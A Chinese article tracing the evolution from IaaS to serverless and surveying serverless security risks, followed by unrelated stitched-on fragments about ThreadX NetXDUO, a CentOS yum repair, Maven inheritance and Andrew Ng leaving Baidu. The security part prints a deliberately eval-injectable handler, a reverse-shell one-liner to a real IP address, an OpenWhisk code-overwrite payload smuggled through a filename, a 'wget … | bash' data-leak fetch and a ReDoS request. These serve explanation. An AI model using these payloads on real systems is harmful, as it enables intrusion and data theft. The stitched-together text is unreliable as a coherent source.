在“云”的概念还没有产生之前,开发者购买物理机,并在其上部署应用程序,企业将购买的机器放置数据中心,其网络、安全配置均需要专业的技术人员管理,在这种高成本运营模式下,虚拟化技术应运而生。
技术首先进化出的是虚拟机,依托物理机的网络、计算、存储能力,一台物理机上可运行多个虚拟机,因此很大程度上提升了资源利用率。
在虚拟机成为当时的主流后,供应商想到了以编程的方式租用物理机,通过服务器池释放更大的灵活性,这些也渐渐成为了往后IaaS的基础。在2006年8月,由AWS推出的EC2(Elastic Compute Cloud)为IaaS开辟了先河,引领了公有云的迅速发展,随后Microsoft、Google、阿里等厂商也紧追步伐并占据了一定的公有云市场份额,与此同时,私有云也渐渐浮出水面,其中不乏像OpenStack这样优秀的跨时代开源平台。
IaaS让开发者可以按需购买服务器资源,并灵活的部署应用程序,为开发者带来了便利,但针对服务器上操作系统的安装、升级、打补丁、监控等仍需开发者管理和维护。作为开发者来讲,最终目的往往是成功的部署应用,对于服务器的维护通常不应视为必须,为了解决这个难题,PaaS技术出现了,其运行在IaaS之上并抽象掉了硬件和操作系统细节,为应用程序提供了部署平台,让开发者只需关注自己的应用程序。 Openshift、CloudFoundry开源PaaS框架在早期一度独领风骚,后来随着容器技术的崛起, CaaS(Container as a Service)的概念被人提出,凭借容器轻量级、移植性强、快速部署的特点,企业渐渐将应用程序由虚拟机迁移至容器环境中部署,并将容器托管至公有云平台或使用开源容器编排工具Kubernetes来管理容器。
经历了IaaS、PaaS、CaaS之后,开发者虽然已经远离物理机运行应用程序的模式,但仍然非常依赖物理机的CPU、内存、存储、网络或其它组件,即便在使用Kubernetes管理容器时,开发者也需要为容器运行时指定硬件要求,如果管理不当,将无法做适当扩展。这时候就需要一种新的开发和运维范式,可让开发者不对服务器进行管理,在需要运行应用时服务器启动,不需要时将其关闭,从而可减轻开发者的负担并专注于自己的应用实现呢?2012年,Serverless的概念由云基础施服务提供商Iron.io的副总裁Ken Fromm在《Why the future of software and apps is serverless》[1]首次提出,Serverless是一种新的云计算模式,它并不是不需要服务器,而是不需要开发者去管理服务器,其责任划分模式为云厂商提供对服务器的全面托管,开发者只需专注于应用程序设计,并按应用程序的执行次数向云厂商付费。
目前公有云Serverless使用最为广泛的为AWS Lambda,从2014年推出至今依然保持着非常高的热度,除了AWS Lambda外,Google Cloud Functions、MiscrosoftAzure、IBM Cloud Functions也相继推出了FaaS平台。国内市场上,腾讯、阿里、华为这些大厂也紧追Serverless的步伐并各自推出了云函数解决方案。
另一方面,Serverless技术也驱动了许多开源FaaS平台的产生,目前主要以OpenFaaS、Fission、OpenWhisk、Knative、Kubeless为代表, 值得注意的是,随着云原生概念的普及和Serverless自身的特点,这些开源FaaS平台中绝大多数都支持在Kubernetes上进行部署。
第一阶段的云主要解决硬件资源(网络,计算,存储)的运维和供给问题,也就是 IaaS 云,可以理解成基于硬件资源的共享经济。IaaS 云的交付的主要是资源,接口以及控制台也是面向资源的,尽量以模拟物理机房环境来降低应用的迁移成本。而云发展到当前阶段来看,出现了两种需求:
云原生应用的关键是『让渡』,但具体如何让渡,让渡哪些功能?理论上,只要和业务逻辑无关的功能都应该让渡出去,但如何做到?从持续交付到日志监控追踪,这些非业务功能都一直没能标准化,也很难标准化,如何让应用开发者逐渐接受这些标准?这是一个很有挑战的问题。
但 FaaS 给出来一个方案。就是应用只需要把包含自己业务逻辑的 Function 提交给云,其他的事情由云来完成。这样,云相当于直接接管了业务逻辑模块,然后其他的技术功能直接由云来提供,不依赖开发者在自己应用中引入标准化框架来实现。
Serverless可在不考虑服务器的情况下构建并运行应用程序和服务,它使开发者避免了基础设施管理,例如集群配置、漏洞修补、系统维护等。Serverless并非字面理解的不需要服务器,只是服务器均交由第三方管理。
Serverless通常可分为两种实现方式,
开发者进行移动应用开发时,后端经常遇到一些重复、复杂、费时的工作,例如针对不同移动端的推送通知、社交网站登录等,BaaS的出现解决了这些难题,BaaS主要用于将后端复杂重复的逻辑外包给第三方处理,开发者只需编写和维护前端,所以BaaS是一种Serverless模式,下图为cloudflare提供BaaS示意图,
可以看出BaaS供应商提供了各种服务端功能,例如数据库管理、远程更新、推送通知、云存储等,而前端完全由开发者管理,前后端通信问题通过BaaS提供的API解决。另外从上图也可以看出,BaaS提供的服务对前端是不可见的。
BaaS公司主要为移动应用开发者提供服务,目前比较知名的公司有 Back4App, Firebase, Backendless, Kinvey等。
通过《BaaS vs SaaS: What’s the difference? 》,辨析一下BaaS和SaaS两者的区别:
FaaS是Serverless主要的实现方式,开发者通过编写一段代码,并定义何时以及如何调用该函数,随后该函数在云厂商提供的服务端运行,全程开发者只需编写并维护一段功能代码即可。另外,FaaS本质上是一种事件驱动并由消息触发的服务,事件类型可能是一个http请求,也可能是一次上传或保存操作,事件源与函数的关系如下图所示:
为了便于理解,下述为一个简单的阿里云faas fc python处理函数:
创造一个http handler函数
由于是http handler函数,所以触发器可以是http访问。
下面两张图分别为传统的服务端应用部署和FaaS应用部署,我们看看FaaS有什么不同:
FaaS应用部署简易图
由上图可以看出,当应用程序部署在物理机、虚拟机、容器中时,它实际是一个系统进程,并且由许多不同的函数构成,这些函数之间有着相互关联的操作,一般需要长时间在操作系统中运行。FaaS通过抽离虚拟机实例和应用程序进程改变了传统的部署模式,使开发者只关注单个操作或功能,函数在第三方托管平台上运行,当有事件触发时执行,开发者为使用的资源进行付费。
Serverless(无服务器)这个概念存在已经很久了,最早指不需要服务器端的软件,比如纯客户端软件以及 peer-to-peer (P2P) 软件,在云时代,这个概念才表示不需要关心服务器端的相关技术,比如按量计费的 PaaS 服务(比如 FaunaDB serverless,Aurora Serverless, 对象存储等),BaaS (Backend as a Service),以及 Google App Engine 这样的托管 Application PaaS 也可包含在内。
但传统的 Application PaaS 平台,开发者对服务运行的实例还是有感的,即便是没有调用,也依然需要占用资源,并对资源付费,并不是完全的 Serverless,直到 FaaS 出现。FaaS 全称 Function-as-a-Service,可以理解成给 Function 提供运行环境和调度的服务。Function 可以理解为一个代码功能块,这个功能块具体包含多少功能,无法明确给出定义,但有一个明确的指标:冷启动时间需要在毫秒数量级。因为 FaaS 的本质上是以程序的快速启动来实现正真的按需运行,按需伸缩,以及高可用。Function 配合调度系统,就可以完全做到开发者对服务运行的实例无感,真 Serverless。
也就是说,从外延来看,Serverless 比 FaaS 的外延要广,FaaS 主要解决的是用户自定义的代码逻辑如何做到 Serverless,可以叫做 Serverless Compute,同时它也是事件驱动架构的一种,从一张图可以看出二者区别。
参考链接:
http://www.cnblogs.com/LittleHann/p/17301719.html http://jolestar.com/serverless-faas-current-status-and-future/
Serverless责任划分的原则实际已经帮助开发者降低了许多已知风险,这些都是Serverless为我们带来的优势。
由于Serverless无需对服务端进行管理的特性,类似认证授权、系统升级、安全、进程监控、告警等操作几乎全托管至第三方云厂商,因此对于开发者来说就意味着更少量的运维工作。FaaS平台的运营模式就是一个很好的例子,当创建应用时,开发者只需向FaaS平台提供函数代码,对于函数对应的镜像构建、函数运行时、函数启停及应用的自动化扩展操作均不需要开发者参与,因此相比传统模式,时间、开发、运维成本都将大大降低。
另外,传统的应用程序部署在服务端,往往是非常浪费主机资源的,因为它始终在线,但实际应用程序在数天或数周中可能只会被调用几次,有一些闲置数个月的应用甚至连开发者都忘记曾经部署过,Serverless设计模式摆脱了这种资源浪费,让应用程序可以按需调用,因此又节省了资源成本。
从安全角度而言,Serverless的设计模式实际上在一定程度上降低了安全风险。传统模式下,我们考虑安全架构设计覆盖方方面面,其中需要耗费极大的人力与时间成本,且需要专业的安全团队去处理,在Serverless中,服务端的安全完全可以交由第三方云厂商管理,而开发者只需确保自己上传的代码是安全的即可。
目前,公有云厂商在各自的Serverless解决方案中均配套了相应的安全服务,比如AWS的API网关可以作为函数调用前的过滤器,过滤掉DDoS、异常参数的恶意请求等,KMS(Key Management Service)服务可以创建并管理加密密钥,控制密钥在Serverless函数中的使用;开源的FaaS平台多选择在Kubernetes上部署也是依托其丰富的安全配置。
资源的自动化弹性伸缩是Serverless的一大特性,且由开发者管理,在需求量达到高峰时,可通过弹性伸缩自动增加实例数量以保证性能不受影响,在需求量较低时,又可自动减少实例数量以降低成本,相比传统的部署模式,开发者省去了手动部署的烦恼,变化的是开发者需要为增加的实例及调用频次支付相应费用。
传统的应用交付模式需要开发人员与运维人员合力完成,其中开发周期长、人员沟通效率低下通常为阻碍交付进展的主要因素,随着容器技术的出现,DevOps和敏捷开发在一定程度上改善了这一问题,但对于缺乏经验的工程师仍需要几个月的时间去交付一个项目,Serverless的出现屏蔽了容器技术这一必要条件,让开发者只关注于函数代码实现,并且在数天之内就可以独立完成交付,Serverless的这一优势不仅大大降低了交付时长,还让交付这一本身复杂的事情变的更容易了。
每种新技术的出现都是为了让人类解决事情变得更简单,但凡事都具有两面性,Serverless的出现也必然伴随着一定的局限性。
虽然Serverless作为一种云计算模式应用非常广泛,但在使用场景上还是有一定的局限性,CNCF发布的Serverless白皮书v1.0版本中对Serverless的使用场景进行了介绍,如下图所示:
由上图我们可以看出Serverless比较适用于异步并发、短暂、无状态的应用的场景,并且Serverless一直秉持着节约成本的原则,因此也适用于应对突发或服务使用量不可预测的场景。下面笔者对Serverless固有局限性分别进行说明。
FaaS平台作为Serverless的主要实现模式在运行时也具有一定的局限性,像冷启动、供应商锁定、开发和安全工具限制等等。
目前,许多像AWS Lambda、Google Cloud Functions、Microsoft AzureFunctions等FaaS平台都面临冷启动的问题,冷启动主要分两种,
冷启动到底有多慢呢?各大云厂商均提供了各自官方的冷启动持续时间,虽然每家都声称自己很快,但为了准确性,笔者参照了国外一篇热度非常高的针对冷启动研究的文章《Comparison of Cold Starts in Serverless Functionsacross AWS, Azure, and GCP》,其中作者通过对AWS Lambda, Azure Functions, Google Cloud Functions三家FaaS平台提供的常见语言冷启动时间进行了比较,其中颜色较暗范围为启动运行时花费时间,颜色较亮范围为总共持续时间如下图所示:
可以看出,AWS Lambda以绝对优势领先于其它厂商,冷启动持续时间均低于1秒,Google Cloud Functions启动通常需要1至4秒,Azure Functions启动运行时时长与Google Cloud Functions几乎一样,但Azure Functions整体的冷启动时长较慢,平均下来也基本在8至9秒左右。
冷启动的快慢也与部署文件大小有着紧密联系,在《Comparison of Cold Starts in Serverless Functionsacross AWS, Azure, and GCP》文章中,作者通过增加部署文件的大小测试了冷启动延迟时间对比,如下图所示:
可以看出冷启动时间随部署文件大小的增加承稳步上升趋势,AWS Lambda同样在这次比较中以绝对优势获胜。
针对冷启动问题,各大云厂商都在积极应对。目前公有云FaaS平台通常的处理思路为函数被首次调用后,应用实例将保持一段时间的活动状态再被回收,这样优点是对后续请求可进行持续响应并减少不必要的冷启动,缺点是可能会造成一定的资源浪费,所以云厂商也试图在这两者之间做权衡。
由于各大厂商均有各自的Serverless解决方案,且各自的基础架构组件都不一样,这样就会导致开发者在A供应商使用的Serverless功能可能无法平滑迁移至B供应商,例如开发者使用AWS Lambda,通过DynamoDB来处理数据,也许AWS Lambda和Microsoft Azure Functions之间区别不大,但是很难将Microsoft Azure Functions的东西迁移至AWS Lambda上,所以想要完成适配,就得需要一套标准,但该标准的建立非常难,因为可能需要对整个基础架构进行迁移,如果没有一个完美的理由或利益驱动,各大云厂商是很难达成共识的。
所谓术业有专攻,传统的应用程序在部署完成后有专业的Web应用防火墙,入侵检测及防护设备对其进行防护,但在Serverless中这些安全设备功能却因供应商锁定问题全部由云厂商实现了,第三方安全设备很难集成至服务端,所以开发者不得不依赖服务端的安全机制,这也是传统安全设备在Serverless环境中的局限性所在。
参考链接:
http://mp.weixin.qq.com/s/kNawzZowQt8hwiE5Z8wIQQ http://owasp.org/www-project-serverless-top-10/
Serverless应用的防御措施应该是基于Serverless它本身的。否则,就失去了使用Servless的价值。
上图为Serverless环境下安全责任共享模型图,图中不难看出FaaS提供商负责云环境的安全管理,主要包括数据中心集群、存储、网络、数据、计算、操作系统等,除此之外,应用程序逻辑、代码、客户端数据、访问控制等同时需要安全防护能力,这一部分是应用开发者的责任。
对于黑客来说,SQL注入,操作系统命令注入,代码注入等攻击方式一直是最热门的攻击方式之一,随着云原生采用度的提升,防御针对Serverless应用的注入攻击攻击比传统应用更难。对于传统应用程序来说,注入类漏洞的发生有相同的原因:应用轻易相信了用户的输入,然后将数据通过”The Network”交给程序内部某个功能处理。
对于处于Serverless环境应用, 发生注入类漏洞也有着类似的原因,但是其中”The Network”更加复杂。通常来说触发事件,Serverless应用才会运行。事件可以是应用的基础服务提供商提供的任意服务,如云储存,电子邮件,提醒功能等。所以,为了防止漏洞,编写安全可靠的应用代码不再是我们唯一要做的,我们还要保护”The Network”的边界。例如,
serverless虽然进行了存算分离,但是在传统应用安全领域存在的Web代码安全风险(例如命令注入),基于进行了serverless改造,依然可能把代码漏洞风险引入事件函数逻辑中。
下面用一个例子进行说明,如果http handler代码逻辑中存在指令注入风险,
在上面的代码中,我们能看到用eval()函数来解析http query数据,这导致了http参数指令注入。
HELLO_WORLD = b"Hello world!" def handler(environ, start_response): context = environ['fc.context'] request_uri = environ['fc.request_uri'] for k, v in environ.items(): if k.startswith("HTTP_"): # process custom request headers pass # get request_body try: request_body_size = int(environ.get('CONTENT_LENGTH', 0)) except (ValueError): request_body_size = 0 request_body = environ['wsgi.input'].read(request_body_size) # get request_method request_method = environ['REQUEST_METHOD'] # get path info path_info = environ['PATH_INFO'] # get server_protocol server_protocol = environ['SERVER_PROTOCOL'] # get content_type try: content_type = environ['CONTENT_TYPE'] except (KeyError): content_type = " " # get query_string try: query_string = environ['QUERY_STRING'] query_string_cmd = query_string.split("=")[-1] query_string_cmd_decode = query_string_cmd.replace("%27", "'") query_string_cmd_eval = eval(query_string_cmd_decode) except (KeyError): query_string = " " print ('request_body: {}'.format(request_body)) print ('method: {} path: {} query_string: {} server_protocol: {} query_string_cmd: {} query_string_cmd_decode: {}'.format(request_method, path_info, query_string, server_protocol, query_string_cmd, query_string_cmd_decode)) print ('query_string_cmd_eval: {}'.format(query_string_cmd_eval)) # do something here status = '200 OK' response_headers = [('Content-type', 'text/plain')] start_response(status, response_headers) # return value must be iterable return [HELLO_WORLD]
注入参数如下:
可以看到,外部输入的参数被python eval执行了,下图展示了注入一段文件读取的恶意代码。
尝试执行系统指令,但是因为aliyun fc只内置了有限的python包(仅涉及逻辑运算),因此可以执行的功能很有限。
open('index.py', 'r').read() nc -lnvp 1234 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.222.249.254",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' eval('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.222.249.254",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') os.system("id")
http://help.aliyun.com/document_detail/158208.htm?spm=a2c4g.74571.0.0.4a905ffe7eW2T0#multiTask3128
如果需要执行复杂的代码逻辑,引入更多扩展包,需要使用docker环境封装自己开发的应用,并将docker环境上传到fc平台上。
从serverless平台安全的角度来看,serverless的设计初衷就是分离存储和计算逻辑,让开发者专注于业务逻辑的开发(无状态应用),所以在底层的沙盒/容器环境中,一般会采取极其严格的访问控制、权限控制等手段措施。所以,即使fc函数运行在一个独立的沙盒/容器中,但是也仅能运行逻辑代码,很难穿透到应用外部执行非预期的指令。
开发者在编写应用程序时不可避免的会引入第三方依赖库,毕竟有许多现成的实现逻辑无需开发者自己编写,这样就面临一个非常严峻的问题 — 开发者是否使用了含有漏洞的依赖库?
据Synk公司在2019年的开源软件安全报告中透露,已知的应用程序安全漏洞在过去两年增加了88%。我们不妨试想如果开发者编写的函数只有短短几十行代码,但同时引入了第三方含有漏洞的依赖库,那么即使函数编写的再安全也是无济于事的。此外,引入了第三方依赖库也会实际增加应用部署至服务器的代码总量,例如python库,其代码量可能是上千行,node.js的npm包中的代码量就更大了,可能会导致上万行,随着代码量的增多,攻击面也相应增加,从而给客户端程序带来了极大安全隐患。
近年来,随着业界对不安全的第三方依赖库的重视,许多行内报告包括OWASP Top 10项目均提出了使用已知漏洞库的安全风险,这些含有漏洞的依赖库可在CVE、NVD等网站上进行查询,下面列出Serverless场景下使用率较高的三种开发语言库漏洞列表供各位读者参考,
访问控制作为应用程序的一大安全风险在Serverless场景下也同样存在,例如函数对某资源的访问权限、可以触发函数执行的事件等。
试想这么一个场景,函数执行业务逻辑时不可避免会对数据库进行CRUD操作,在此期间,我们需要给予函数对数据库的读写权限。在不对数据库进行其它操作时,我们应当给予只读权限或关闭其权限,如果此时开发者将权限错误的更改为读写操作,攻击者会利用此漏洞对数据库展开攻击,从而增加了攻击面。
下述示例是AWS Lambda函数的代码片段
#... dynamodb_client.put_item(TableName=TABLE_NAME, Item={ "name" : {"S": name}, "sex" : {"S": sex}, "phonenum" : {"S":phone_num }, "address" : {"S": address}, "create_time" : {"S": str(datatime.utcnow().split('.'))[0]}, "requestid" {"S": context.aws_request_id} } )
上述Serverless函数接收数据并使用DynamoDB的put_item()方法将数据存入数据库,函数看起来没有问题,但从如下部署函数的serverless.yml文件看出,开发人员犯了一个严重的错误:
- Effect: Allow Action: - ‘dynamodb:*’ Resource: - ‘arn:aws:dynamodb:cn-west:**************:table/TABLE_NAME’
可以看出开发人员授予了dynamodb的所有访问权限(*),这么做是十分危险的,针对以上Serverless函数正确的做法是只赋予该函数对数据库的PutItem权限,如下述所示:
- Effect: Allow Action: - ‘dynamodb: PutItem’ Resource: - ‘arn:aws:dynamodb:cn-west:**************:table/TABLE_NAME’
Serverless中,应用可能会由许多函数组成,函数间的访问权限,函数与资源的权限映射非常多,高效率管理权限和角色成为了一项繁琐的问题,许多开发者简单粗暴地为所有函数配置单一权限和角色,这样做会导致单一漏洞扩展至整个应用的风险。
在应用程序中,敏感数据信息泄漏、应用程序日志泄漏、应用程序访问密钥泄漏、应用程序未采用HTTPS协议进行加密等是一些常见的数据安全风险,通过调研我们发现,这些事件的产生原因多是由于开发者的不规范操作引起,比较著名事件有
需要注意的是,在Serverless中以上这些风险同样存在,但与传统的应用程序不同的是:
2018年6月,著名开源Serverless平台Apache OpenWhisk曝出CVE-2018-11756漏洞,该漏洞由Puresec公司的YuriShapira安全研究员发现,其指出在应用程序含有漏洞的情形下,攻击者可能会利用漏洞覆盖被执行的Serverless函数源代码,并持续影响函数后续的每次执行,如果攻击者对函数代码进行精心伪造,可进一步造成数据泄露、RCE(远程代码执行)等风险。
为了更清晰的说明此CVE漏洞的风险,以下是一个完整的示例:
在OpenWhisk中,每个Serverless函数都在一个Docker容器中运行,OpenWhisk通过RestfulAPI与容器内部的Serverless函数进行交互,该API可通过本地8080端口进行访问,此API提供两个操作:
由于OpenWhisk并没有对/init调用进行有效限制,所以攻击者可以利用应用程序漏洞强制Serverless函数发送一个HTTP POST请求到http://localhost:8080/init,从而覆盖之前接收到的函数源代码,换而言之,攻击者构造的危险函数体将被执行,下述是简易的攻击流程图:
该函数接收一个PDF文件并通过pdftotext命令行工具将其转换为文本,不难看出如果该应用程序中存在输入参数校验漏洞,攻击者可通过控制文件名的输入进行恶意攻击。
以下是攻击者构造的恶意函数输入,主要有包含以下三部分内容:
以下是攻击者构造的恶意Payload:
{ "filename": "; apt update && apt install -y curl && curl --max-time 5 -d '{\"value\":{\"code\":\"def main(dict):\\n return {\\\"msg\\\":\\\"FOOBAR\\\"}\\n\"}}' -H \"Content-Type: application\/json\" -X POST http:\/\/localhost:8080\/init" "Source_url": "http://www.some.site/file.pdf }
最终函数被执行后输出以下信息:
ActivationID: f9dee7f9c9fc4a839ee7f9c9fc8a8305Results: { "output": [ "Get:1 http://security.debian.org jessie/updates InRelease [94.4 kB]\nGet:2 http://security.debian.org jessie/updates/main amd64 Packages [623 kB]\nIgn http://deb.debian.org jessie InRelease\nGet:3 http://deb.debian.org jessie-updates InRelease [145 kB]\nGet:4 http://deb.debian.org jessie Release.gpg [2434 B]\nGet:5 http://deb.debian.org jessie-updates/main amd64 Packages [23.0 kB]\nGet:6 http://deb.debian.org jessie Release [148 kB]\nGet:7 http://deb.debian.org jessie/main amd64 Packages [9064 kB]\nFetched 10.1 MB in 2s (4339 kB/s)\nReading package lists...\nBuilding dependency tree...\nReading state information...\n3 packages can be upgraded. Run 'apt list --upgradable' to see them.\nReading package lists...\nBuilding dependency tree...\nReading state information...\nThe following extra packages will be installed:\n krb5-locales libcurl3 libgnutls-deb0-28 libgssapi-krb5-2 libhogweed2\n libidn11 libk5crypto3 libkeyutils1 libkrb5-3 libkrb5support0 libldap-2.4-2\n libnettle4 libp11-kit0 librtmp1 libsasl2-2 libsasl2-modules\n libsasl2-modules-db libssh2-1 libtasn1-6\nSuggested packages:\n gnutls-bin krb5-doc krb5-user libsasl2-modules-otp libsasl2-modules-ldap\n li … … since apt-utils is not installed\n % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\r100 82 0 0 100 82 0 67 0:00:01 0:00:01 --:--:-- 67\r100 82 0 0 100 82 0 37 0:00:02 0:00:02 --:--:-- 37\r100 82 0 0 100 82 0 25 0:00:03 0:00:03 --:--:-- 25\r100 82 0 0 100 82 0 19 0:00:04 0:00:04 --:--:-- 19curl: (28) Operation timed out after 5000 milliseconds with 0 bytes received\n" ] } Logs: []
如果函数后续再次被执行将会导致以下输出:
ActivationID: 0d6b88cadf98406dab88cadf98906d3dResults: { "msg": "FOOBAR" }Logs: []
从恶意Payload可以看出攻击者通过安装curl请求对/init操作进行了调用,替换的函数源码为:
def main(dict): return {"msg":"FOOBAR"}
从内容看这个函数体并没有什么恶意, 但也替换了函数原有的功能。
如果将函数体进行简单更改,如下所示:
from subprocess import Popen, PIPE def main(dict): proc = Popen("wget -q -O- http://www.malicious.com/sensitive_data_leak.sh | bash", shell=True, stdout=PIPE, stderr=PIPE) return {"msg":"FOOBAR"}
从main函数内容,我们可以看出由攻击者构造的敏感数据泄露脚本将被下载执行,为Serverless函数带来了极大隐患。此外,由于/init的调用不受限制,因此函数可以多次被初始化,并且初始化中可以嵌套多层恶意脚本因而攻击者可对Serverless进行逐步的试探性攻击,最终达到入侵目的。
针对平台账户的攻击主要为DoW(Denial of Wallet)攻击,顾名思义指拒绝钱包攻击的意思,为DoS的变种攻击,目的为耗尽账户月账单的金额。Serverless具备一个重要特性为自动化弹性扩展,这一特性是Serverless备受欢迎的原因之一,也同时使开发人员只需为函数调用次数付费,函数弹性扩展的事情交给了云厂商,但其产生的费用通常不是默认受到保护的,试想如果攻击者掌握了事件触发器,并通过API调用了大量函数资源,那么在未受保护情况下函数将极速扩展,随之产生的费用也呈指数增长,最终会导致开发者的账户被DoS,造成了重大损失。另外,即便受到保护的情况下,也未必可以完全规避风险,例如云厂商替开发者设置了调用频次上限,虽然开发者的钱包受到了保护,但攻击者也通过攻击频次达到设定上限实现了对开发者账户DoS的目的。
2018年2月, NodeJS 「aws-lambda-multipart-parser」库被曝出ReDoS漏洞(CVE-2018-7560),该漏洞由PureSec安全团队发现,其团队人员通过分析指出此漏洞可导致部署在AWS上并使用了该库的Lambda函数停止并直到函数运行超时,攻击者可利用此漏洞构造大量并发请求从而耗尽服务器资源或对开发者账户造成DoW攻击。
「aws-lambda-multipart-parser」库的主要用途为向AWS Lambda开发者提供接口,从而在Serverless场景下可支持对multipart/form-data 类型请求的解析。参考RFC 2388对multipart/form-data标准的定义,下述为一个简单的HTTP POST请求,其使用了multipart/form-data作为HTTP content type字段的内容:
POST /app HTTP/1.1 HOST: example.site Content-Length: xxxxxx Content-Type: multipart/form-data; boundary = ”-- boundary” -- boundary Content-Disposition; form-data; name=”filed1” Value1 -- boundary Content-Disposition; form-data; name=”filed2” Value2 -- boundary ...
从上述请求内容中我们可看出Content-Type字段中包含boundary项,RFC 1341定义了该字段,主要用于区分表单中请求体的内容,boundary由客户端指定,上述示例可以看到通过”–boundary” 将表单中的filed1字段及filed2字段内容进行了边界界定。
下面是aws-lambda-multipart-parser库中包含漏洞的代码片段
module.export.parse = (event,spotText) => { const boundary = getValueIgnoringKeyCase(event.headers,’Content-Type’).split(‘=’)[1]; const body = (event.isBase64Encoded ? Buffer.from(event.body,’base64’).toString(‘binary’) : event.body).split(new RegExp(boundary)).filter(item => item.match(/Content-Disposition)) }
从上述代码中我们可以看出boundry字符串从请求Header的Content-Type字段中获取,请求体通过boundry字符串进行拆分,其中拆分用到了split()方法,该方法接收参数可以是一个字符串也可以是正则表达式,此处开发人员通过RegExp()构造函数将boundry作为正则内容并在split()方法中使用,这是一个非常危险的写法,因为请求体与boundry全由客户端控制,攻击者可通过构造耗时的正则表达式和请求体进行ReDoS攻击,下面是一个恶意请求的示例:
POST /app HTTP/1.1 HOST: xxxxxx.excute-api.cn-west-1.amazonaws.com Content-Length: xxxxxx Content-Type: multipart/form-data; boundary = (.+)+$ Connection: keep-alive (.+)+$ Content-Disposition; form-data; name=”text” xxxxx (.+)+$ Content-Disposition; form-data; name=”file1”; filename=”a.txt” Content-Type: text/plain Content of a.txt. (.+)+$ Content-Disposition; form-data; name=”file2”; filename=”a.html” Content-Type: text/plain <!DOCTYPE html><title>.Content of a.html</.title> (.+)+$ ...
在上述示例中,根据OWASP 对ReDoS的解释,我们可以看出攻击者选取了效率极低的正则表达式 (.+)+$作为boundary字段的值,上述恶意请求将会在短时间内引发100%的CPU占用率,在针对使用此漏洞库的AWS Lambda函数进行测试时,该函数会运行停止并最终超时,如果攻击者对AWS Lambda函数发送大量并发恶意请求,将会导致函数在单位时间内被大量执行,最终导致账户的账单受到损失。
参考链接:
http://www.anquanke.com/post/id/170130 http://www.imperva.com/zh/serverless-security-protection/ http://puming.zone/post/2021-1-26-serverless%E5%AE%89%E5%85%A8%E9%A3%8E%E9%99%A9%E4%B8%8E%E5%A8%81%E8%83%81/
最新教程下载:http://www.armbbs.cn/forum.php?mod=viewthread&tid=104619第5章ThreadXNetXDUO网络协议栈介绍本章节介绍ThreadXNetXDUO网络协议栈,让大家对NetXDUO有一个整体的了解。5.1初学者重要提示5.2ExpressLogic公司介绍5.3ThreadXNetXDUO简介5.4ThreadXNetXDUO安全认证5.5ThreadXNetXDUO支持的RFC5.6ThreadXNetXDUO的IxANVL测试5.7ThreadXNetXDUO的IPv6就绪微标认证5.8ThreadXNetXDUO各行各业应用案例5.9总结5.1初学者重要提示ThreadX是小型RTOS的巅峰之作,通过了各行各业的安全认证,并且大部分都是最高安全标准。作为中间件的NetXDUO协议栈也通过了各种安全认证。5.2ExpressLogic公司介绍ThreadX的作者是Williamlamie(同样是NucleusRTOS的原始作者,于1990年发布)。1996的时候成立了ExpressLogic,并于1997发布
环境cenos7.6 原理:yum命令其实是用python编写,而在https://www.python.org/ftp/python/下载的python编译后是没有yum模块。 解决:要不就指向原有系统默认的python,如果默认的被删除,则需要找到对应系统版本的rpm安装包重新下载。python升级导致Nomodulenamedyum如果只是升级python,修改过软链接,那么只要重新把软链接指向原有默认的python版本即可。cenos7.6默认是Python2.7.5。ln-s【目标目录】【软链接地址】复制例如:mv/usr/bin/python/usr/bin/python_old2#备份旧的 ln-s/usr/bin/python2.7/usr/bin/python复制如果误删除系统默认python再重新安装对应系统版本的python和yum模块下载相关安装包 http://mirrors.163.com/centos/7/os/x86_64/Packages/以下是我安装的包:yum-utils-1.1.31-53.el7.noarch.rpm yum-plugin-pr
即使是长期从事Maven工作的开发人员也不能完全掌握聚合(多模块)和Parent继承的关系,在使用多模块时,子模块总要指定聚合的pom为<parent>。由于在大多数示例中都是这么写的,所以很难让人搞懂这两者的具体作用和关系。实际上在Maven中聚合(多模块)和继承是两回事,两者不存在直接联系。pom文档地址:https://maven.apache.org/pom.html Maven完全参考:http://books.sonatype.com/mvnref-book/reference/index.html继承继承是Maven中很强大的一种功能,继承可以使得子POM可以获得parent中的各项配置,可以对子pom进行统一的配置和依赖管理。父POM中的大多数元素都能被子POM继承,这些元素包含:groupIdversiondescriptionurlinceptionYearorganizationlicensesdeveloperscontributorsmailingListsscmissueManagementciManagementpropertiesdepend
3月22日中午,百度首席科学家吴恩达通过其个人微博对外界正式公布其将会从百度离职,不再担任百度人工智能业务负责人。吴恩达在2014年5月16日加盟百度,至今在百度任职已经快满三年了,突然辞职的消息还是让业界有点意外。吴恩达在人工智能业界内可以说是公认的大师,在2010年就加入谷歌公司,并领导谷歌的顶级工程机合作研发建立全球最大的“神经网络”——谷歌大脑。同时他本身是斯坦福大学计算机科学系和电子工程系的副教授,也是在线教育平台Coursera的创始人之一,所以在学术界和教育界内也有极大的影响力。2014年百度宣布吴恩达加盟百度人工智能项目,这个消息对于业界来说是极其震撼的,百度公司马上成为国际科技界的重点关注对象。吴恩达也是中国互联网公司至今引进过的最重量级人物,业界也对吴恩达进入百度后将会给百度人工智能带来怎样的变化而相当感兴趣。吴恩达加入百度之后,最重要的项目就是要建立百度的人工智能技术团队,并为百度搭建人工智能深度学习算法——百度大脑。在吴恩达的这封离职公开信当中声称,目前百度人工智能团队已经增长到1300人左右,其中百度研究院的成员就有300人。事实上也是因为吴恩达的加盟才能让A
